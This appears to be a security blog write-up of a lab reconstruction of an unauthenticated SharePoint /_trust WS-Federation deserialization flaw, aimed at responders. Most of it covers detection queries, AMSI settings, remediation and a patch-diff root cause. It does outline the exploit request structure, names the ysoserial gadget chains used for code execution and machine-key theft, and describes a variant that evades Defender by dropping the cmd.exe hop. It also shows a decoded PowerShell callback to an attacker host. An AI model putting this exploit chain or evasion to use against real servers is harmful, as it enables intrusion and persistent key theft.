~$ wismansec

SharePoint /_trust WS-Federation deserialization

One unauthenticated sign-in request yields code execution in w3wp.exe, and the same primitive steals the farm machine keys with no process, no beacon in a default-config farm. A lab reconstruction, built to show responders exactly what to hunt.

Affected  SharePoint Server 2016 · 2019 · Subscription Edition Fix  July 2026 · KB5002882 CVEs (CISA KEV)  2026-50522 · 45659 · 56164 · 58644 Scope  isolated personal lab keys · OAST redacted · hosts sanitized ↳ source & scripts on GitHub

TL;DR for responders

  • A single unauthenticated POST /_trust/default.aspx carrying a malicious SecurityContextToken triggers BinaryFormatter deserialization in w3wp.exe → RCE as the web-app pool identity.
  • The same primitive dumps the farm machine keys entirely in-process. In a default-config farm: no child process, no Defender alert, no beacon (enabling AMSI request-body scanning for /_trust detects and blocks it). Stolen keys forge __VIEWSTATE/auth tokens that survive patching.
  • Patching is not enough: rotate machine keys, and hunt the /_trust request: it is the one artifact present in every variant.
01 vulnerability

A sign-in response that deserializes

SharePoint exposes a WS-Federation passive sign-in endpoint at /_trust/default.aspx. A crafted response embeds a SecurityContextToken whose <Cookie> is a base64, DEFLATE-compressed BinaryFormatter stream, decompressed and deserialized without type restriction, so a ysoserial.net gadget chain executes inside the worker.

POST /_trust/default.aspx HTTP/1.1
Content-Type: application/x-www-form-urlencoded

wa=wsignin1.0&wctx=<url>&wresult=<RequestSecurityTokenResponse>…
  <SecurityContextToken><Cookie>BASE64(DEFLATE(BinaryFormatter payload))</Cookie>…
02 capability

Two chains from one primitive

ChainGadgetEffectOutput
OOB RCETypeConfuseDelegate code exec as pool identityout-of-band beacon
Key dumpActivitySurrogate* Validation + Decryption keysinline in response
03 results

Invocation → artifact matrix

Every row is one real detonation; artifacts pulled from the SIEM (nano) and OOB listener per run. Identity throughout: LAB\sp_pool, High integrity. Chips: offense won defense fired

Screenshots are unmodified

They carry the lab's real host and NetBIOS names, which are crude and differ from the sanitized SHAREPOINT01 / LAB used throughout the text. Same runs, same events, nothing staged. Work-safe equivalents in artifacts/.

InvocationProcess treeDefenderOOB beaconPrimary artifacts
OOB RCE
default
w3wp → cmd → powershell → conhost WebshellLauncher.A landed · race 4688 tree · Defender 1116/1117 · /_trust
OOB RCE
-RawCmd
w3wp → powershell → conhost no detection landed 4688 tree · /_trust · beacon
OOB RCE
-DropFile
w3wp → powershell no detection landed file write → …\LAYOUTS\
OOB RCE
-Diag
w3wp → powershell → whoami no detection landed env disclosure exfil
Key dump (in-process) no detection none stealth only the /_trust POST + response

These outcomes are for the default AMSI configuration (Balanced mode, /_trust not scanned). With AMSI request-body scanning of /_trust enabled, every row is instead blocked at the request layer: HTTP 400, Exploit:Script/SpCookieExec.A, before execution (see the AMSI request-body scanning section).

Status is not a reliable success signal; successful runs returned both HTTP 200 and a connection reset.

Four processes spawned by w3wp.exe, three of them powershell.exe with no cmd.exe hop
All four documented detonations, 15:01 to 15:18 UTC: every child of w3wp.exe running as the pool identity. Three of the four are powershell.exe spawned directly. Only the 15:03:34 run goes through cmd.exe, and only that run was detected.

Same exploit, two trees: only one is seen

defaultdetected
w3wp.exe
└─ cmd.exe  /c powershell
   └─ powershell.exe  -EncodedCommand …
      └─ conhost.exe
-RawCmdevades
w3wp.exe
└─ powershell.exe  -EncodedCommand …
   └─ conhost.exe

w3wp.exe to cmd.exe to powershell.exe and conhost.exe
Default invocation as the SIEM records it: w3wp.exe → cmd.exe → powershell.exe, with conhost.exe alongside. This is the shape Behavior:Win32/WebshellLauncher.A keys on.
w3wp.exe to powershell.exe to conhost.exe, with no cmd.exe
-RawCmd, same primitive and same payload, with the cmd.exe hop removed. Defender produced nothing for this run. A detection built on w3wp → cmd misses it entirely.
Three Defender events, all Behavior:Win32/WebshellLauncher.A, severity Severe, action Remove
Every Defender event in the same 25-minute window that contained four detonations. All three belong to the single cmd.exe run: two malware_detected at Severe, then malware_action_taken with action Remove. Remediation did not beat the beacon.

The command line recovers verbatim from Security 4688: the encoding is not obfuscation:

powershell.exe -EncodedCommand <base64>
  # base64(UTF-16LE) → iwr -UseBasicParsing 'http://<attacker-oast>/c'
Security 4688 events with -EncodedCommand highlighted and the base64 payload visible
The encoded command line in the SIEM. Base64 of UTF-16LE and nothing more; base64 -d | iconv -f utf-16le -t utf-8 recovers the callback in one step.

-Diag disclosure captured at the OOB listener:

{ "host":"SHAREPOINT01", "who":"LAB\\sp_pool", "v":"5.1.20348.558", "lm":"FullLanguage" }

The key-dump leaves nothing behind

Both frames cover the identical 90-second window in which the farm machine keys were stolen.

Twenty events in the key-dump window, showing telemetry flowing normally
Unfiltered, the window holds 20 events. The host is alive and shipping telemetry.
The same window filtered to children of w3wp.exe, returning no results
Filtered to children of w3wp.exe, the same window is empty. No process, no Defender event, no beacon. The keys left over the HTTP response, and the only host-side artifact was the /_trust request itself. Patching does not revoke stolen keys; rotate them.
04 detection & hunting

What to hunt

The web request is the only artifact common to RCE and the stealthy key dump. Start here:

uri_path = "/_trust/default.aspx" AND http_method = "POST"
  AND body contains "wa=wsignin1.0"
  AND body contains "RequestSecurityTokenResponse"
  AND body contains "SecurityContextToken"   # exploit-specific; legit sign-in carries a SAML assertion

Legitimate WS-Federation sign-in traffic to this endpoint is predominantly HTTP 302; the exploit returns other statuses (200, 500, a connection reset, or 400 when AMSI blocks). Where the endpoint carries real sign-in volume, a non-302 response to POST /_trust/default.aspx is anomalous.

Process-pattern evasion

The -RawCmd variant is w3wp → powershell directly and drew zero Defender events. Hunt w3wp.exe spawning powershell.exe with no cmd.exe hop, and decode any -EncodedCommand straight from 4688.

Detection is not prevention

On the cmd tree Defender fired WebshellLauncher.A and removed the chain, yet the beacon (DNS + HTTP) still completed first. On any such detection, also pull DNS/proxy/egress for the callback domain around that time.

AMSI request-body scanning

Both chains carry their payload in the /_trust request body. In the default configuration (Balanced mode, /_trust not in the targeted-endpoint list) the body is not scanned and both chains execute with no detection. Setting body-scan to Full, or keeping Balanced and adding /_trust/default.aspx as a targeted endpoint, rejects the request HTTP 400 before deserialization (no process is created), and Defender records Exploit:Script/SpCookieExec.A (source AMSI, action Quarantine) for both chains.

$wa = Get-SPWebApplication https://<webapp>
$wa.AMSIBodyScanMode = 2                              # Full: scan all endpoints
# or keep Balanced mode and scan this endpoint only:
$wa.AddAMSITargetedEndpoints('/_trust/default.aspx', 1)
$wa.Update(); iisreset
05 remediation

Fix, then revoke

  1. Patch to the fixed SharePoint build (July 2026 / KB5002882).
  2. Rotate machine keys farm-wide (Set-SPMachineKey + IISReset). Patching stops the RCE but does not revoke keys already stolen; rotation removes the ability to forge FedAuth/SecurityContextToken/__VIEWSTATE.
  3. Hunt historical IIS logs for POST /_trust/default.aspx. Legitimate WS-Federation sign-in also hits this endpoint with wa=wsignin1.0, so key on the exploit-specific structure: a wresult whose token is a <SecurityContextToken> with a base64 <Cookie> (legitimate sign-in carries a signed SAML assertion instead), a non-302 response, and a scripted User-Agent. If present, assume key compromise.
  4. Review for forged __VIEWSTATE / anomalous auth after first-seen.
  5. Enable AMSI request-body scanning for /_trust (Full mode, or add it as a Balanced targeted endpoint) to block both chains at the request layer.
06 root cause

June → July patch diff

Static analysis of the vendor's fix confirms the mechanism and settles whether the RCE needs the stolen machine keys: it does not. A binary patch-diff of Microsoft.SharePoint.IdentityModel.dll between the June CU (KB5002873, 16.0.19725.20384) and July CU (KB5002882, 16.0.19725.20434), decompiled and compared, shows the exploited read path SPFederationAuthenticationModuleV2.OnAuthenticateRequestSPSessionSecurityTokenHandlerV2 changing as follows:

June (vulnerable)July (fixed)
cookie transform { new DeflateCookieTransform() } (deflate only) { new NotSupportedCookieTransform() } (Decode/Encode throw)
ReadToken none (inherits base) all overrides throw NotSupportedException

The pre-patch transform chain was deflate-only, with no encryption and no MAC/signature transform keyed on the machine key. The base ReadToken applies the transforms and deserializes the cookie value, so a forged token is inflated and deserialized with no machine-key validation gate; the gadget fires without the ValidationKey/DecryptionKey (key-independent). The fix removes the sink rather than adding a signature or decryption check; there was no key gate to fix.

The machine-key disclosure is therefore a separate persistence objective (forging FedAuth/SecurityContextToken/__VIEWSTATE), not a prerequisite for the RCE; the key-dump is itself an RCE over the same path and runs before any key is stolen. A second, unrelated hardening ships in the same July CU (JWT actor-token signature validation in SPJsonWebSecurityTokenHandlerV2), a distinct path, not the one covered here.

Applying the fix, and two settings that undo it

The fix is the July CU (KB5002882): it swaps the deflate-only cookie transform for one that throws, removing the sink. Install it, then confirm neither farm setting reverts or bypasses it:

  • SessionCookieTransformProtectionEnabled set to false reverts the session-token cookie to the vulnerable deflate-only transform, re-opening the RCE and key-dump; leave it at its default.
  • The DisableActorTokenSignatureValidation debug flag re-opens the separate JWT actor-token signature bypass hardened in the same update; confirm it is not set.